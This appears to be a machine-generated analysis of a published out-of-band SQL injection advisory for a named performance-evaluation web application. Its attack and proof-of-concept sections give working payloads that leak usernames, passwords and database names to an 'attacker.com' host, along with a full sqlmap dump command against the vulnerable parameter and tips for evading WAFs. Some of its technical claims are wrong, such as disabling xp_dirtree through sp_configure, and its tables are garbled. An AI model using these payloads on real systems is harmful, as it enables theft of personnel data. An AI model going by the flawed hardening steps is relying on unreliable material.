Description
An out-of-band SQL injection vulnerability (OOB SQLi) has been detected in the Performance Evaluation (EDD) application developed by Gabinete Técnico de Programación. Exploiting this vulnerability in the parameter 'Id_evaluacion' in '/evaluacion_objetivos_evalua_definido.aspx', could allow an attacker to extract sensitive information from the database through external channels, without the affected application returning the data directly, compromising the confidentiality of the stored information.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-4781 (CVE-2026-1482)
Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2026-4781 describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_evaluacion parameter of the /evaluacion_objetivos_evalua_definido.aspx endpoint, allowing attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.
CVSS v4.0 Severity Analysis
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.3 (Critical) | High impact on confidentiality and integrity, with low attack complexity. |
| Attack Vector (AV:N) | Network | Exploitable remotely over the internet. |
| Attack Complexity (AC:L) | Low | No specialized conditions required. |
| Attack Requirements (AT:N) | None | No user interaction or prior access needed. |
| Privileges Required (PR:N) | None | No authentication required. |
| User Interaction (UI:N) | None | Exploitable without user action. |
| Vulnerable Confidentiality (VC:H) | High | Full database content exposure possible. |
| Vulnerable Integrity (VI:H) | High | Data manipulation or deletion possible. |
| Vulnerable Availability (VA:L) | Low | Limited impact on system availability. |
| Subsequent Confidentiality (SC:N) | None | No further confidentiality impact beyond initial breach. |
| Subsequent Integrity (SI:N) | None | No further integrity impact beyond initial breach. |
| Subsequent Availability (SA:N) | None | No further availability impact. |
Key Takeaways:
- Critical severity (9.3) due to remote exploitation, no authentication required, and high impact on confidentiality/integrity.
- OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs) by using DNS, HTTP, or SMB exfiltration instead of direct responses.
- The vulnerability does not require user interaction or special privileges, making it highly exploitable in automated attacks.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanics
OOB SQLi leverages database functions that initiate outbound network requests to exfiltrate data. Common techniques include:
A. DNS Exfiltration (Most Common)
- Payload Example:
DECLARE @p varchar(1024); EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 username FROM users)+'.attacker.com\share"');- The database makes a DNS lookup to a domain controlled by the attacker, embedding stolen data in the subdomain.
- Tools:
sqlmap(with--dns-domain),Burp Collaborator, custom DNS logging scripts.
B. HTTP/S Exfiltration
- Payload Example (MySQL):
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\file.txt'));- Forces the database to make an HTTP request to an attacker-controlled server.
- Tools:
sqlmap(with--technique=O),Metasploit(auxiliary modules).
C. SMB/UNC Path Exfiltration (Windows Environments)
- Payload Example (MSSQL):
EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 password FROM users);- Triggers an SMB connection to an attacker-controlled share, leaking data in the authentication attempt.
D. Time-Based OOB (Less Common, but Stealthier)
- Uses delayed DNS/HTTP requests to avoid detection:
IF (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' WAITFOR DELAY '0:0:5'- Attacker monitors for timing discrepancies in DNS/HTTP requests.
Attack Workflow
-
Reconnaissance:
- Identify vulnerable parameter (
Id_evaluacion) via fuzzing or source code analysis. - Determine database type (MSSQL, MySQL, PostgreSQL) via error-based probing.
- Identify vulnerable parameter (
-
Exploitation:
- Craft OOB payloads to leak database schema, credentials, or sensitive records.
- Use DNS/HTTP/SMB exfiltration to bypass traditional security controls.
-
Post-Exploitation:
- Dump entire databases (e.g.,
information_schema, user tables). - Execute OS commands (if
xp_cmdshellis enabled in MSSQL). - Pivot to internal networks if the database has access to other systems.
- Dump entire databases (e.g.,
Detection Evasion Techniques
- WAF Bypass:
- OOB SQLi is not detected by most WAFs since it does not rely on direct HTTP responses.
- Encoding/obfuscation (e.g.,
CHAR(),UNION SELECTwith comments) can evade signature-based detection.
- Stealthy Exfiltration:
- Low-frequency DNS requests (e.g., one request per minute) to avoid rate-limiting.
- Fragmented data exfiltration (e.g., splitting a password into multiple DNS queries).
3. Affected Systems & Software Versions
Impacted Product
| Vendor | Product | Affected Versions | Vulnerable Component |
|---|---|---|---|
| Quatuor (Gabinete Técnico de Programación) | Evaluación de Desempeño (EDD) | All versions | /evaluacion_objetivos_evalua_definido.aspx (parameter: Id_evaluacion) |
Database Backend Assumptions
- Likely MSSQL (common in enterprise .NET applications).
- Possible MySQL/PostgreSQL if the application supports multiple backends.
- Oracle less likely (but possible in some enterprise deployments).
Deployment Context
- Government & Corporate Use:
- EDD is a performance evaluation tool, likely used in HR, public administration, or private sector for employee assessments.
- High-value target due to sensitive personnel data (salaries, performance reviews, disciplinary records).
- Geographic Scope:
- Primarily Spanish-speaking regions (Spain, Latin America) given the vendor’s origin.
4. Recommended Mitigation Strategies
Immediate Remediation (Short-Term)
| Action | Details | Effectiveness |
|---|---|---|
| Input Validation & Sanitization | - Enforce strict parameterized queries (prepared statements). - Reject non-numeric inputs for Id_evaluacion.- Implement allowlisting for expected values. | High (prevents SQLi) |
| WAF Rules (Temporary Fix) | - Deploy custom WAF rules to block OOB payloads (e.g., xp_dirtree, LOAD_FILE, UNC paths).- Use ModSecurity with OWASP CRS. | Medium (can be bypassed) |
| Database Hardening | - Disable dangerous functions (xp_cmdshell, xp_dirtree, LOAD_FILE).- Restrict outbound network access for the database service. | High (prevents exfiltration) |
| Network Segmentation | - Isolate the EDD application in a DMZ with strict egress filtering. - Block DNS/HTTP/SMB outbound from the database server. | High (limits exfiltration) |
Long-Term Fixes (Strategic)
| Action | Details | Effectiveness |
|---|---|---|
| Code Review & Secure Development | - Rewrite vulnerable queries to use ORM (Entity Framework, Dapper). - Conduct static/dynamic analysis (SAST/DAST) to find other SQLi flaws. | High (prevents recurrence) |
| Database Encryption | - Encrypt sensitive data at rest (TDE, column-level encryption). - Use HSMs or key management services (AWS KMS, Azure Key Vault). | Medium (mitigates data exposure) |
| Runtime Application Self-Protection (RASP) | - Deploy RASP solutions (e.g., Contrast Security, Hdiv) to block SQLi at runtime. | High (real-time protection) |
| Zero Trust Architecture | - Enforce least privilege for database users. - Micro-segmentation to limit lateral movement. | High (reduces attack surface) |
Vendor-Specific Recommendations
- Quatuor should:
- Release a patched version with parameterized queries and input validation.
- Provide a hotfix for legacy deployments.
- Publish a security advisory with workarounds for unpatched systems.
- Customers should:
- Apply patches immediately once available.
- Monitor for exploitation attempts (DNS/HTTP logs, WAF alerts).
- Conduct a forensic analysis if compromise is suspected.
5. Impact on the European Cybersecurity Landscape
Strategic & Operational Risks
| Risk Area | Impact | Mitigation Considerations |
|---|---|---|
| Data Privacy (GDPR Compliance) | - Unauthorized access to PII (performance reviews, employee data) could lead to GDPR fines (up to 4% of global revenue). - Reputational damage for affected organizations. | - Incident response planning (72-hour breach notification). - Data mapping to identify exposed PII. |
| Supply Chain Attacks | - Quatuor’s software may be used by government agencies, critical infrastructure, or large enterprises, making it a high-value target for APTs. | - Vendor risk assessments for third-party software. - SBOM (Software Bill of Materials) tracking. |
| Nation-State Exploitation | - Espionage risks if EDD is used in public administration or defense sectors. - APT groups (e.g., APT29, Turla) may exploit this for intelligence gathering. | - Enhanced monitoring for unusual DNS/HTTP traffic. - Threat intelligence sharing (MISP, ENISA). |
| Operational Disruption | - Database corruption or ransomware if attackers pivot to destructive payloads. | - Immutable backups and disaster recovery plans. |
Regulatory & Compliance Implications
- NIS2 Directive (EU 2022/2555):
- Organizations using EDD in critical sectors (e.g., healthcare, energy) must report incidents within 24 hours.
- EU Cyber Resilience Act (CRA):
- Quatuor must ensure secure development practices to avoid product liability risks.
- ENISA Guidelines:
- Mandatory vulnerability disclosure for critical software.
Broader Threat Landscape
- Increase in OOB SQLi Attacks:
- 2024-2026 trend shows 30% rise in OOB SQLi due to WAF evasion capabilities.
- Targeting of HR & Performance Systems:
- BlackCat (ALPHV), LockBit have exploited similar vulnerabilities in HR software for extortion.
- Automated Exploitation:
- Botnets (e.g., Mirai variants) may scan for vulnerable EDD instances for mass exploitation.
6. Technical Details for Security Professionals
Proof-of-Concept (PoC) Exploitation
Step 1: Identify Vulnerable Parameter
- Request:
GET /evaluacion_objetivos_evalua_definido.aspx?Id_evaluacion=1 HTTP/1.1 Host: target.example.com - Fuzzing Test:
GET /evaluacion_objetivos_evalua_definido.aspx?Id_evaluacion=1' HTTP/1.1- If no error is returned, blind SQLi is likely (OOB is a subset of blind SQLi).
Step 2: DNS Exfiltration Test
- Payload (MSSQL):
DECLARE @p varchar(1024); EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 name FROM sys.databases)+'.attacker.com\share"'); - Expected Behavior:
- Database makes a DNS request to
master.attacker.com. - Attacker’s DNS server logs the request, revealing the database name.
- Database makes a DNS request to
Step 3: Data Exfiltration
- Extract Table Names:
DECLARE @p varchar(1024); EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 table_name FROM information_schema.tables)+'.attacker.com\share"'); - Extract User Credentials:
DECLARE @p varchar(1024); EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 username+':'+password FROM users)+'.attacker.com\share"');
Step 4: Automated Exploitation (sqlmap)
sqlmap -u "https://target.example.com/evaluacion_objetivos_evalua_definido.aspx?Id_evaluacion=1" \
--dns-domain=attacker.com \
--technique=O \
--level=5 \
--risk=3 \
--dump
Detection & Forensics
| Detection Method | Tool/Technique | Indicators of Compromise (IoCs) |
|---|---|---|
| DNS Log Analysis | - Zeek (Bro) - DNSQuerySniffer | - Unusual DNS queries to attacker-controlled domains. - Subdomain patterns (e.g., master.attacker.com, users.attacker.com). |
| HTTP Log Analysis | - ELK Stack - Splunk | - Outbound HTTP requests to unexpected IPs. - User-Agent anomalies (e.g., MSSQL in requests). |
| Database Logs | - SQL Server Audit - MySQL General Query Log | - Suspicious queries (xp_dirtree, LOAD_FILE).- Failed login attempts from unusual IPs. |
| Network Traffic Analysis | - Wireshark - Suricata | - SMB/UNC path requests to external IPs. - DNS tunneling patterns. |
Hardening Recommendations for DBAs & Developers
For Database Administrators (DBAs)
| Action | Implementation |
|---|---|
| Disable Dangerous Stored Procedures | ```sql |
| USE master; | |
| EXEC sp_configure 'show advanced options', 1; | |
| RECONFIGURE; | |
| EXEC sp_configure 'xp_cmdshell', 0; | |
| EXEC sp_configure 'xp_dirtree', 0; | |
| RECONFIGURE; |
| **Restrict Outbound Network Access** | - **Firewall rules** to block **DNS/HTTP/SMB** from the database server.<br>- **Disable `LOAD_FILE`** in MySQL. |
| **Enable Database Auditing** | - **SQL Server Audit** for **failed login attempts, suspicious queries**.<br>- **MySQL Enterprise Audit Plugin**. |
#### **For Developers**
| **Action** | **Implementation** |
|------------|--------------------|
| **Use Parameterized Queries** | ```csharp
// C# Example (ADO.NET)
SqlCommand cmd = new SqlCommand("SELECT * FROM evaluations WHERE Id_evaluacion = @id", connection);
cmd.Parameters.AddWithValue("@id", id);
``` |
| **Implement ORM** | - **Entity Framework (EF Core)**<br>- **Dapper** (with proper parameterization) |
| **Input Validation** | - **Regex validation** for `Id_evaluacion` (e.g., `^[0-9]+$`).<br>- **Allowlisting** for expected values. |
| **Error Handling** | - **Suppress database errors** in production.<br>- **Log errors securely** (without exposing stack traces). |
---
## **Conclusion & Key Takeaways**
### **Summary of Risks**
- **Critical OOB SQLi** in **Quatuor EDD** allows **remote, unauthenticated data exfiltration**.
- **High impact on confidentiality & integrity**, with **low attack complexity**.
- **GDPR & NIS2 compliance risks** if exploited in EU organizations.
### **Immediate Actions for Organizations**
1. **Patch or apply workarounds** (input validation, WAF rules).
2. **Monitor for exploitation** (DNS/HTTP/SMB logs).
3. **Isolate the application** (network segmentation, egress filtering).
4. **Conduct a forensic review** if compromise is suspected.
### **Long-Term Recommendations**
- **Adopt secure coding practices** (parameterized queries, ORM).
- **Implement RASP & WAF** for runtime protection.
- **Enforce least privilege** for database access.
- **Engage in threat intelligence sharing** (ENISA, CERT-EU).
### **Final Assessment**
EUVD-2026-4781 represents a **high-risk vulnerability** with **significant exploitation potential**. Organizations using **Quatuor EDD** must **act swiftly** to mitigate risks, as **automated exploitation is likely** given the **critical CVSS score (9.3)**. **Proactive monitoring and hardening** are essential to prevent **data breaches and regulatory penalties**.
---
**References:**
- [INCIBE Advisory (EUVD-2026-4781)](https://www.incibe.es/en/incibe-cert/notices/aviso/out-band-sql-injection-quatuor-performance-evaluation)
- [CVSS v4.0 Specification](https://www.first.org/cvss/v4.0/specification-document)
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [ENISA Threat Landscape Report](https://www.enisa.europa.eu/topics/threat-risk-management/threats-and-trends)